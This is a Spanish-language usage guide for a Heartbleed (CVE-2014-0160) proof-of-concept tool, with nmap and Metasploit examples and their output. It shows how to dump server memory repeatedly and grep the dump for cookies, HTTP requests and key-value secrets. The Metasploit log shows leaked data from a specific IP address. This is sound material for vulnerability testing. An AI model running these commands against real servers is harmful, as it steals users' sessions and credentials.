
Prueba de la vulnerabilidad heartbeat de SSL (CVE-2014-0160)
NB Casi todas las herramientas (nmap, metasploit, nessus, incluso burp) tienen las versiones más actualizadas de sus escáneres. Estas herramientas se lanzaron en las primeras etapas, cuando las herramientas aún se estaban desarrollando. Usa mejor aquellas en lugar de estas ahora.
Uso: heartbleed-poc.py server [options]
Prueba la vulnerabilidad de heartbeat SSL (CVE-2014-0160)
Opciones: -h, --help muestra este mensaje de ayuda y sale -p PORT, --port=PORT Puerto TCP a probar (por defecto: 443) -n NUM, --num=NUM Número de heartbeats a enviar si es vulnerable (define cuánta memoria obtienes) (por defecto: 1) -f FILE, --file=FILE Nombre del archivo donde escribir la memoria volcada (por defecto: dump.bin) -q, --quiet No mostrar el volcado de memoria -s, --starttls Comprobar STARTTLS (solo smtp por ahora)
Escaneo normal, usará el puerto 443, con 1 iteración:
python heartbleed-poc.py example.com
Escaneo con volcado de memoria, hará 100 peticiones y guardará la salida en el archivo binario dump.bin:
python heartbleed-poc.py -n100 -f dump.bin example.com
Para asegurarte de obtener diferentes partes del HEAP, asegúrate de que el servidor esté ocupado; de lo contrario, terminarás con repetición tras repetición.
Comprueba un servidor de correo con STARTTLS (es decir, puerto 25):
python heartbleed-poc.py -s -p 25 example.com
Antes existía una opción -v para hacer explícita la versión de TLS; ahora se autodetecta y se ha eliminado.
El archivo binario tendrá salida jugosa; aquí tienes algunas formas sencillas de encontrar lo bueno:
Petición HTTP:
awk '/[HPG][UEO][AST][DT ]/,/Connection/' dump.bin
Cookies:
grep -a "^Cookie:" dump.bin
Pares clave-valor interesantes:
pcregrep -ao "[A-Za-z0-9_-]+=[0-9a-zA-Z]+" dump.bin
Uso:
nmap --script=ssl-heartbleed -p 443 <server>
Ejemplo de salida:
Starting Nmap 6.41SVN ( http://nmap.org ) at 2014-04-09 17:27 SAST
Nmap scan report for <example.org> (1.2.3.4)
Host is up (0.0068s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| Description:
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
| http://www.openssl.org/news/secadv_20140407.txt
|_ http://cvedetails.com/cve/2014-0160/
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
msf > use auxiliary/scanner/ssl/openssl_heartbleed
msf auxiliary(openssl_heartbleed) > show options
Module options (auxiliary/scanner/ssl/openssl_heartbleed):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 443 yes The target port
STARTTLS None yes Protocol to use with STARTTLS, None to avoid STARTTLS (accepted: None, SMTP, IMAP, JABBER, POP3, FTP)
THREADS 1 yes The number of concurrent threads
TLSVERSION 1.0 yes TLS version to use (accepted: 1.0, 1.1, 1.2)
msf auxiliary(openssl_heartbleed) > set rhosts example.org
rhosts => example.org
msf auxiliary(openssl_heartbleed) > set STARTTLS FTP
STARTTLS => FTP
msf auxiliary(openssl_heartbleed) > set PORT 21
PORT => 21
msf auxiliary(openssl_heartbleed) > exploit
[*] 37.187.134.197:21 - Trying to start SSL via FTP
[*] 37.187.134.197:21 - Sending Client Hello...
[*] 37.187.134.197:21 - Sending Heartbeat...
[*] 37.187.134.197:21 - Heartbeat response, checking if there is data leaked...
[+] 37.187.134.197:21 - Heartbeat response with leak
[*] 37.187.134.197:21 - Printable info leaked: @SE F(CKMIWsf"!98532ED/A
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed